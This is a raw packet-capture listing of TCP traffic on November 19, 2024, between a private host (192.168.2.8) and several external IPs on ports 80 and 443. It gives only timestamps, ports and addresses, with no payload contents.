Nov 19, 2024 18:00:44.756953001 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.756978035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757009983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757019043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757044077 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757070065 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757071972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757097960 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757105112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757112980 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757139921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757147074 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757179976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757219076 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757230043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757262945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757272005 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757297039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757303953 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757328987 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757334948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757360935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757368088 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757395983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757411003 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757428885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757458925 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757460117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757477999 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757493019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757504940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757527113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757534981 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757560015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757579088 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757594109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757601976 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757627010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.757636070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.757673025 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.783205032 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.783238888 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.783257961 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.783298016 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.783340931 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.783340931 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.783361912 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.783381939 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.783396959 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.783440113 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.783442020 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.783472061 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.784415960 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.784470081 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.784502029 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.784512997 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.784548044 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.784567118 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.784586906 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.784604073 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.784617901 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.784625053 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.784642935 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.784651995 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.784662008 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.784682035 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.784693956 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.784706116 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.784724951 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.784734964 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.784737110 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.784779072 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.784797907 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.784806013 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.784842968 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.785758018 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.785809040 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.785824060 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.785831928 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.785873890 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.785901070 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.785976887 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.787894011 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.787936926 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.787971973 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.787980080 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.788011074 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.788033009 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.788058996 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.789109945 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.789186001 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.789191961 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.789216042 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.789251089 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.790518045 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.790565014 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.790600061 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.790607929 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.790649891 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.790944099 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.790985107 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.791008949 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.791018009 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.791045904 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.791344881 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.791394949 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.791416883 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.791424036 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.791451931 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.810055017 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810122967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810126066 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810162067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810173988 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810199022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810208082 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810240030 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810286045 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810336113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810337067 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810389042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810425043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810442924 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810457945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810476065 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810503006 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810509920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810543060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810578108 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810585976 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810611010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810642958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810652018 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810677052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810683966 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810712099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810745955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810754061 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810779095 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810791969 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810812950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810856104 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.810867071 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.810906887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.843823910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.843878984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.843913078 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.843913078 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.843945026 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.843956947 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.843965054 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.843997955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844052076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844055891 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844085932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844093084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844120026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844146967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844149113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844167948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844198942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844201088 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844250917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844279051 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844283104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844296932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844316959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844324112 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844350100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844356060 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844384909 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844389915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844424963 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844580889 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844614983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844630003 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844656944 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844669104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844717979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844764948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844769001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844805002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844839096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844852924 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844871044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844881058 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844912052 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.844923019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844957113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.844965935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845002890 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845011950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845057964 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845062017 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845096111 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845103979 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845129013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845138073 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845164061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845177889 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845196962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845207930 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845231056 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845264912 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845269918 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845298052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845324993 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845330954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845350981 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845364094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845375061 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845396996 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845402956 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845429897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845453978 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845468998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845562935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845607042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845614910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845664978 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845700026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845726013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845732927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845762014 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845767975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845777035 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845802069 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.845819950 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.845853090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846010923 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846045971 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846080065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846085072 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846124887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846133947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846168041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846201897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846210003 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846235991 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846272945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846277952 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846313000 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846323967 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846357107 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846396923 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846406937 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846438885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846472979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846482992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846504927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846514940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846560001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846587896 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846605062 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846632004 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846637011 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846671104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846688032 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846715927 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846721888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846771955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846801996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846805096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846820116 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846838951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846873999 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846877098 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846885920 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846905947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846921921 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846936941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846954107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.846968889 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.846982956 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.847002983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.847012043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.847039938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.847050905 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.847074986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.847083092 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.847110033 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.847136974 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.847142935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.847155094 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.847188950 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.858922005 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:44.859672070 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:44.859688044 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:44.861457109 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:44.861462116 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:44.861488104 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:44.861495018 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:44.870769978 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.870793104 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.870842934 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.870862007 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.870886087 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.870928049 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.871227026 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.871243954 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.871279955 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.871288061 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.871335983 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.871342897 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.872168064 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.872191906 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.872239113 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.872246027 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.872279882 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.872301102 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.873214960 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873300076 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873302937 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.873322010 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873343945 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873347044 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.873377085 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873378992 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.873403072 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.873573065 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873591900 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873631001 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.873631954 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873651028 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873667955 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.873680115 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.873693943 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.874545097 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.874562025 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.874613047 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.874620914 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.874696016 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.874989033 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.875041962 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.875061035 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.875061035 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.875080109 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.875092983 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.875103951 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.875114918 CET	49783	443	192.168.2.8	13.107.246.40
